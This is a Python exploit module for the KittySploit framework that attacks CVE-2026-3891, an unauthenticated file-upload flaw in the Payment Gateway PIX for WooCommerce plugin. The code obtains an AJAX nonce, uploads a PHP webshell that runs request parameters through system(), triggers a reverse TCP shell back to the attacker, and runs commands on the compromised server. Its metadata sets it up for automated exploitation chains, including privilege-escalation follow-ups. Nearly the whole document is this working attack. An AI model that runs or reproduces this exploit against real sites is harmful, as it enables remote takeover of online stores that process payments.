Payment Gateway PIX for WooCommerce <= 1.5.0 - Unauthenticated Upload RCE (CVE-2026-3891)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-3891 — Payment Gateway PIX for WooCommerce unauthenticated file upload RCE."""

from __future__ import annotations

import json
from typing import Optional, Tuple

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

PLUGIN_SLUG = "payment-gateway-pix-for-woocommerce"
PATCHED_VERSION = "1.5.1"
VULN_MAX = "1.5.0"
ACTION_NONCE = "lkn_pix_for_woocommerce_generate_nonce"
ACTION_UPLOAD = "lkn_pix_for_woocommerce_c6_save_settings"
NONCE_NAME = "lkn_pix_for_woocommerce_c6_settings_nonce"
CERT_FIELD = "certificate_crt_path"
CERT_SUBDIR = "Includes/files/certs_c6"


class Module(Exploit, Http_client, Wordpress, Handler):
    __info__ = {
        "name": "Payment Gateway PIX for WooCommerce <= 1.5.0 - Unauthenticated Upload RCE (CVE-2026-3891)",
        "description": (
            "CVE-2026-3891 in Payment Gateway PIX for WooCommerce <= 1.5.0: unauthenticated "
            "arbitrary file upload via admin-ajax.php (lkn_pix_for_woocommerce_c6_save_settings). "
            "An attacker obtains a nonce from lkn_pix_for_woocommerce_generate_nonce, uploads "
            "a PHP webshell as certificate_crt_path, and executes code under "
            "wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/."
        ),
        "author": ["Mohammad Hossein Sadeghian", "KittySploit Team"],
        "cve": ["CVE-2026-3891"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
        },
        "references": [
            "https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/",
            "https://www.cve.org/CVERecord?id=CVE-2026-3891",
        ],
        "tags": [
            "wordpress",
            "woocommerce",
            "pix",
            "file-upload",
            "rce",
            "unauthenticated",
            "cve-2026-3891",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "woocommerce", "php"],
                "confidence_min_any": {"wordpress": 0.3},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "uploaded PHP webshell"},
                    {"capability": "shell", "from_detail": "reverse_tcp session"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "scanner/http/wp_pix_gateway_cve_2026_3891_detect",
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    shell_name = OptString("", "Uploaded PHP filename (random if empty)", required=False)
    cmd_param = OptString("cmd", "Webshell GET/POST parameter", required=False)
    verify_cmd = OptString("id", "Command for optional verification output", required=False)
    skip_version_check = OptBool(
        False,
        "Exploit even if plugin version looks patched",
        required=False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(self.path or "/")

    def _ajax_path(self) -> str:
        base = self._wp_base()
        return f"{base}/wp-admin/admin-ajax.php" if base != "/" else "/wp-admin/admin-ajax.php"

    def _shell_filename(self) -> str:
        name = str(self.shell_name or "").strip() or f"ks_{self.random_text(8)}.php"
        return name if name.endswith(".php") else f"{name}.php"

    def _shell_path(self, filename: str) -> str:
        return self.wp_plugin_path(self._wp_base(), PLUGIN_SLUG, CERT_SUBDIR, filename)

    def _plugin_version(self) -> Tuple[str, str]:
        base = self._wp_base()
        readme = self.wp_plugin_path(base, PLUGIN_SLUG, "readme.txt")
        version = self.wp_plugin_version(PLUGIN_SLUG, base)
        if version:
            return version, readme
        response = self.http_request(method="GET", path=readme, allow_redirects=True)
        if response and int(response.status_code or 0) == 200:
            return "", readme
        return "", ""

    def _version_vulnerable(self, version: str) -> Optional[bool]:
        if not version:
            return None
        if self.wp_version_in_range(version, (0, 0, 0), (1, 5, 0)):
            return True
        if not self.wp_version_less_than(version, PATCHED_VERSION):
            return False
        return None

    def _build_shell(self) -> bytes:
        body = str(self.payload or "").strip()
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        if body:
            source = f"<?php {body} ?>"
        else:
            source = (
                "<?php "
                f'if(isset($_REQUEST["{param}"])){{@system($_REQUEST["{param}"]);}}'
                " ?>"
            )
        return source.encode()

    def _fetch_nonce(self) -> Optional[str]:
        response = self.http_request(
            method="POST",
            path=self._ajax_path(),
            data={"action": ACTION_NONCE, "action_name": NONCE_NAME},
            timeout=max(int(self.timeout or 15), 15),
        )
        if not response or int(response.status_code or 0) != 200:
            return None
        try:
            payload = response.json()
        except (ValueError, json.JSONDecodeError):
            return None
        data = payload.get("data") if isinstance(payload, dict) else None
        if isinstance(data, dict):
            nonce = data.get("nonce")
            return str(nonce).strip() if nonce else None
        return None

    def _upload(self, filename: str, content: bytes, nonce: str):
        return self.http_request(
            method="POST",
            path=self._ajax_path(),
            data={"action": ACTION_UPLOAD, "_ajax_nonce": nonce},
            files={CERT_FIELD: (filename, content, "text/plain")},
            timeout=max(int(self.timeout or 15), 15),
        )

    def _upload_success(self, response) -> bool:
        if not response or int(response.status_code or 0) != 200:
            return False
        try:
            payload = response.json()
        except (ValueError, json.JSONDecodeError):
            return False
        return bool(isinstance(payload, dict) and payload.get("success"))

    def _trigger_shell(self, shell_path: str, param: str, value: str = "") -> Optional[str]:
        params = {param: value} if value else None
        response = self.http_request(
            method="GET",
            path=shell_path,
            params=params,
            timeout=max(int(self.timeout or 20), 20),
        )
        if not response:
            return None
        return (response.text or "").strip()

    def execute(self, cmd: str) -> str:
        shell_path = getattr(self, "_uploaded_shell_path", None)
        if not shell_path:
            return ""
        param = str(self.cmd_param or "cmd").strip() or "cmd"
        return self._trigger_shell(shell_path, param, cmd) or ""

    def check(self):
        version, readme = self._plugin_version()
        if not readme and not version:
            return {
                "vulnerable": False,
                "reason": f"{PLUGIN_SLUG} plugin not detected",
                "confidence": "medium",
            }

        vuln = self._version_vulnerable(version)
        if vuln is False and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": f"Plugin {version} >= {PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        nonce = self._fetch_nonce()
        if not nonce:
            return {
                "vulnerable": False,
                "reason": "Could not obtain lkn_pix_for_woocommerce nonce",
                "confidence": "medium",
            }

        return {
            "vulnerable": True,
            "reason": (
                f"Payment Gateway PIX {version or 'unknown'} — nonce obtained "
                f"(CVE-2026-3891 if <= {VULN_MAX})"
            ),
            "confidence": "high" if vuln else "medium",
        }

    def run(self):
        print_status("CVE-2026-3891 — Payment Gateway PIX for WooCommerce file upload RCE")

        if not self.payload:
            print_error("No payload configured. Set payloads/singles/cmd/php/reverse_tcp.")
            return False

        check = self.check()
        if not check.get("vulnerable"):
            print_error(check.get("reason", "Target does not appear vulnerable"))
            self.not_vulnerable()
            return False

        print_success(check.get("reason", "Target appears vulnerable"))

        nonce = self._fetch_nonce()
        if not nonce:
            print_error("Failed to obtain AJAX nonce")
            return False
        print_info(f"Nonce: {nonce}")

        filename = self._shell_filename()
        print_status(f"Uploading {filename} via {ACTION_UPLOAD}...")
        response = self._upload(filename, self._build_shell(), nonce)
        if not self._upload_success(response):
            print_error(f"Upload failed: HTTP {getattr(response, 'status_code', '?')}")
            if response:
                print_info((response.text or "")[:600])
            return False

        shell_path = self._shell_path(filename)
        probe = self.http_request(method="GET", path=shell_path, timeout=15)
        if not probe or int(probe.status_code or 0) != 200:
            print_error(f"Shell not reachable at {shell_path}")
            return False

        self._uploaded_shell_path = shell_path
        print_success(f"Shell uploaded: {shell_path}")

        param = str(self.cmd_param or "cmd").strip() or "cmd"
        print_status("Triggering payload (check listener for reverse_tcp)...")
        self._trigger_shell(shell_path, param)

        verify = str(self.verify_cmd or "").strip()
        if verify:
            output = self._trigger_shell(shell_path, param, verify)
            if output:
                print_success("Verification output:")
                print_info(output[:1024])

        print_info("Verify listener/session for reverse_tcp callback")
        return self.handler_execute()